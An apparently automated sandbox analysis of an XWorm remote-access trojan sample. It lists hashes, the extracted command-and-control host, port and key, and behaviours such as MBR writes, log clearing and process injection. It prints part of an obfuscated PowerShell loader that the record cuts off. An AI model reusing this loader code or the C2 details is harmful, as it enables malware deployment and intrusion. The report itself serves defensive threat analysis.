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Analysis
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max time kernel
19s -
max time network
27s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20250217-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
01/03/2025, 20:12
Static task
static1
Behavioral task
behavioral1
Sample
5.exe
Resource
win10ltsc2021-20250217-en
General
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Target
5.exe
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Size
490KB
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MD5
286b980a155209c4ef664687913b8113
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SHA1
ae96bfe4b71d52ab46994c496d0c07ed2f28c5f3
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SHA256
59b912dd8b99eb28efe1f30d84082baa5d2e09188c5f97ef1e19a043b245228c
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SHA512
cae27348d906b5d4d7266492aae148e25d66124890d63fe03bafca86c83dbd362bc26a36d357fb07f4dbffa765e25c85aff9589c582812b43c106d05845bf611
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SSDEEP
12288:Ozj3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd:QkGTy
Malware Config
Extracted
xworm
3.1
again-stuff.gl.at.ply.gg:35361
w1O93T06AbTXm6Hz
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install_file
USB.exe
Signatures
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Detect Xworm Payload 2 IoCs
resource yara_rule behavioral1/files/0x000c000000027d99-6.dat family_xworm behavioral1/memory/4744-16-0x0000000000700000-0x000000000070E000-memory.dmp family_xworm -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 1584 created 628 1584 powershell.EXE 5 PID 2480 created 628 2480 powershell.EXE 5 -
Xworm family
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Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-983685854-559653692-675906587-1000\Control Panel\International\Geo\Nation 5.exe -
Executes dropped EXE 4 IoCs
pid Process 4744 DeadMmxq.exe 4648 DeadMmxq.exe 4352 DeadR.exe 4492 DeadR.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
pid Process 1584 powershell.EXE 2480 powershell.EXE -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\D: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\W: svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 6 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1584 set thread context of 1708 1584 powershell.EXE 88 PID 2480 set thread context of 4716 2480 powershell.EXE 89 -
Drops file in Windows directory 7 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TrustedInstaller.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DeadR.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DeadR.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "001800127D822502" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1584 powershell.EXE 2480 powershell.EXE 2480 powershell.EXE 1584 powershell.EXE 1584 powershell.EXE 2480 powershell.EXE 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 2072 wmiprvse.exe 2072 wmiprvse.exe 2072 wmiprvse.exe 2072 wmiprvse.exe 2072 wmiprvse.exe 2072 wmiprvse.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe 4716 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3696 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1584 powershell.EXE Token: SeDebugPrivilege 2480 powershell.EXE Token: SeDebugPrivilege 1584 powershell.EXE Token: SeDebugPrivilege 2480 powershell.EXE Token: SeDebugPrivilege 4716 dllhost.exe Token: SeDebugPrivilege 4648 DeadMmxq.exe Token: SeDebugPrivilege 4648 DeadMmxq.exe Token: SeDebugPrivilege 4744 DeadMmxq.exe Token: SeShutdownPrivilege 64 svchost.exe Token: SeCreatePagefilePrivilege 64 svchost.exe Token: SeShutdownPrivilege 64 svchost.exe Token: SeCreatePagefilePrivilege 64 svchost.exe Token: SeShutdownPrivilege 64 svchost.exe Token: SeCreatePagefilePrivilege 64 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2204 svchost.exe Token: SeIncreaseQuotaPrivilege 2204 svchost.exe Token: SeSecurityPrivilege 2204 svchost.exe Token: SeTakeOwnershipPrivilege 2204 svchost.exe Token: SeLoadDriverPrivilege 2204 svchost.exe Token: SeBackupPrivilege 2204 svchost.exe Token: SeRestorePrivilege 2204 svchost.exe Token: SeShutdownPrivilege 2204 svchost.exe Token: SeSystemEnvironmentPrivilege 2204 svchost.exe Token: SeManageVolumePrivilege 2204 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2204 svchost.exe Token: SeIncreaseQuotaPrivilege 2204 svchost.exe Token: SeSecurityPrivilege 2204 svchost.exe Token: SeTakeOwnershipPrivilege 2204 svchost.exe Token: SeLoadDriverPrivilege 2204 svchost.exe Token: SeSystemtimePrivilege 2204 svchost.exe Token: SeBackupPrivilege 2204 svchost.exe Token: SeRestorePrivilege 2204 svchost.exe Token: SeShutdownPrivilege 2204 svchost.exe Token: SeSystemEnvironmentPrivilege 2204 svchost.exe Token: SeUndockPrivilege 2204 svchost.exe Token: SeManageVolumePrivilege 2204 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2204 svchost.exe Token: SeIncreaseQuotaPrivilege 2204 svchost.exe Token: SeSecurityPrivilege 2204 svchost.exe Token: SeTakeOwnershipPrivilege 2204 svchost.exe Token: SeLoadDriverPrivilege 2204 svchost.exe Token: SeSystemtimePrivilege 2204 svchost.exe Token: SeBackupPrivilege 2204 svchost.exe Token: SeRestorePrivilege 2204 svchost.exe Token: SeShutdownPrivilege 2204 svchost.exe Token: SeSystemEnvironmentPrivilege 2204 svchost.exe Token: SeUndockPrivilege 2204 svchost.exe Token: SeManageVolumePrivilege 2204 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2204 svchost.exe Token: SeIncreaseQuotaPrivilege 2204 svchost.exe Token: SeSecurityPrivilege 2204 svchost.exe Token: SeTakeOwnershipPrivilege 2204 svchost.exe Token: SeLoadDriverPrivilege 2204 svchost.exe Token: SeSystemtimePrivilege 2204 svchost.exe Token: SeBackupPrivilege 2204 svchost.exe Token: SeRestorePrivilege 2204 svchost.exe Token: SeShutdownPrivilege 2204 svchost.exe Token: SeSystemEnvironmentPrivilege 2204 svchost.exe Token: SeUndockPrivilege 2204 svchost.exe Token: SeManageVolumePrivilege 2204 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2204 svchost.exe Token: SeIncreaseQuotaPrivilege 2204 svchost.exe Token: SeSecurityPrivilege 2204 svchost.exe Token: SeTakeOwnershipPrivilege 2204 svchost.exe -
Suspicious use of FindShellTrayWindow 17 IoCs
pid Process 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 3696 Explorer.EXE 3696 Explorer.EXE 3696 Explorer.EXE 4528 taskmgr.exe -
Suspicious use of SendNotifyMessage 14 IoCs
pid Process 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe 4528 taskmgr.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3176 wrote to memory of 4744 3176 5.exe 80 PID 3176 wrote to memory of 4744 3176 5.exe 80 PID 3176 wrote to memory of 4648 3176 5.exe 81 PID 3176 wrote to memory of 4648 3176 5.exe 81 PID 3176 wrote to memory of 4352 3176 5.exe 82 PID 3176 wrote to memory of 4352 3176 5.exe 82 PID 3176 wrote to memory of 4352 3176 5.exe 82 PID 3176 wrote to memory of 4492 3176 5.exe 83 PID 3176 wrote to memory of 4492 3176 5.exe 83 PID 3176 wrote to memory of 4492 3176 5.exe 83 PID 1584 wrote to memory of 1708 1584 powershell.EXE 88 PID 1584 wrote to memory of 1708 1584 powershell.EXE 88 PID 1584 wrote to memory of 1708 1584 powershell.EXE 88 PID 1584 wrote to memory of 1708 1584 powershell.EXE 88 PID 1584 wrote to memory of 1708 1584 powershell.EXE 88 PID 1584 wrote to memory of 1708 1584 powershell.EXE 88 PID 1584 wrote to memory of 1708 1584 powershell.EXE 88 PID 1584 wrote to memory of 1708 1584 powershell.EXE 88 PID 2480 wrote to memory of 4716 2480 powershell.EXE 89 PID 2480 wrote to memory of 4716 2480 powershell.EXE 89 PID 2480 wrote to memory of 4716 2480 powershell.EXE 89 PID 2480 wrote to memory of 4716 2480 powershell.EXE 89 PID 2480 wrote to memory of 4716 2480 powershell.EXE 89 PID 2480 wrote to memory of 4716 2480 powershell.EXE 89 PID 2480 wrote to memory of 4716 2480 powershell.EXE 89 PID 2480 wrote to memory of 4716 2480 powershell.EXE 89 PID 4716 wrote to memory of 628 4716 dllhost.exe 5 PID 4716 wrote to memory of 684 4716 dllhost.exe 7 PID 4716 wrote to memory of 984 4716 dllhost.exe 12 PID 4716 wrote to memory of 424 4716 dllhost.exe 13 PID 4716 wrote to memory of 732 4716 dllhost.exe 14 PID 4716 wrote to memory of 760 4716 dllhost.exe 15 PID 4716 wrote to memory of 672 4716 dllhost.exe 16 PID 4716 wrote to memory of 1072 4716 dllhost.exe 17 PID 4716 wrote to memory of 1124 4716 dllhost.exe 18 PID 4716 wrote to memory of 1176 4716 dllhost.exe 19 PID 4716 wrote to memory of 1228 4716 dllhost.exe 20 PID 4716 wrote to memory of 1268 4716 dllhost.exe 21 PID 4716 wrote to memory of 1436 4716 dllhost.exe 23 PID 4716 wrote to memory of 1484 4716 dllhost.exe 24 PID 4716 wrote to memory of 1512 4716 dllhost.exe 25 PID 4716 wrote to memory of 1540 4716 dllhost.exe 26 PID 4716 wrote to memory of 1564 4716 dllhost.exe 27 PID 4716 wrote to memory of 1632 4716 dllhost.exe 28 PID 4716 wrote to memory of 1724 4716 dllhost.exe 29 PID 4716 wrote to memory of 1796 4716 dllhost.exe 30 PID 4716 wrote to memory of 1804 4716 dllhost.exe 31 PID 4716 wrote to memory of 1928 4716 dllhost.exe 32 PID 4716 wrote to memory of 1220 4716 dllhost.exe 33 PID 4716 wrote to memory of 1360 4716 dllhost.exe 34 PID 4716 wrote to memory of 1384 4716 dllhost.exe 35 PID 4716 wrote to memory of 1792 4716 dllhost.exe 36 PID 4716 wrote to memory of 2108 4716 dllhost.exe 37 PID 4716 wrote to memory of 2204 4716 dllhost.exe 38 PID 4716 wrote to memory of 2296 4716 dllhost.exe 39 PID 4716 wrote to memory of 2364 4716 dllhost.exe 41 PID 4716 wrote to memory of 2412 4716 dllhost.exe 42 PID 4716 wrote to memory of 2596 4716 dllhost.exe 43 PID 4716 wrote to memory of 2604 4716 dllhost.exe 44 PID 4716 wrote to memory of 2716 4716 dllhost.exe 45 PID 4716 wrote to memory of 2800 4716 dllhost.exe 46 PID 4716 wrote to memory of 2828 4716 dllhost.exe 47 PID 4716 wrote to memory of 2852 4716 dllhost.exe 48 PID 4716 wrote to memory of 2864 4716 dllhost.exe 49 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:628
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1072
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{fddc277f-1f9e-49ef-923d-31c9b72b709c}2⤵PID:1708
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bc626e0f-4b3b-4ac4-84f1-bc7229ddcac8}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4716
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:984
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1268 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3408
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:wFrZwJCzqqaH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$CQteGayMoiIyHV,[Parameter(Position=1)][Type]$FdFPaInazx)$ItnxbINiOSb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+'c'+[Char](116)+'ed'+[Char](68)+''+'e'+''+'l'+''+'e'+''+'g'+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+','+[Char](83)+'e'+[Char](97)+''+'l'+'e'+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+'a'+'ss'+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$ItnxbINiOSb.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'e'+'c'+'ia'+[Char](108)+'N'+'a'+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$CQteGayMoiIyHV).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'ti'+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+'g'+[Char](101)+''+'d'+'');$ItnxbINiOSb.DefineMethod('I'+'n'+''+[Char](118)+'ok'+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+'l'+''+'o'+'t'+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$FdFPaInazx,$CQteGayMoiIyHV).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $ItnxbINiOSb.CreateType();}$djFArywnQCBzZ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 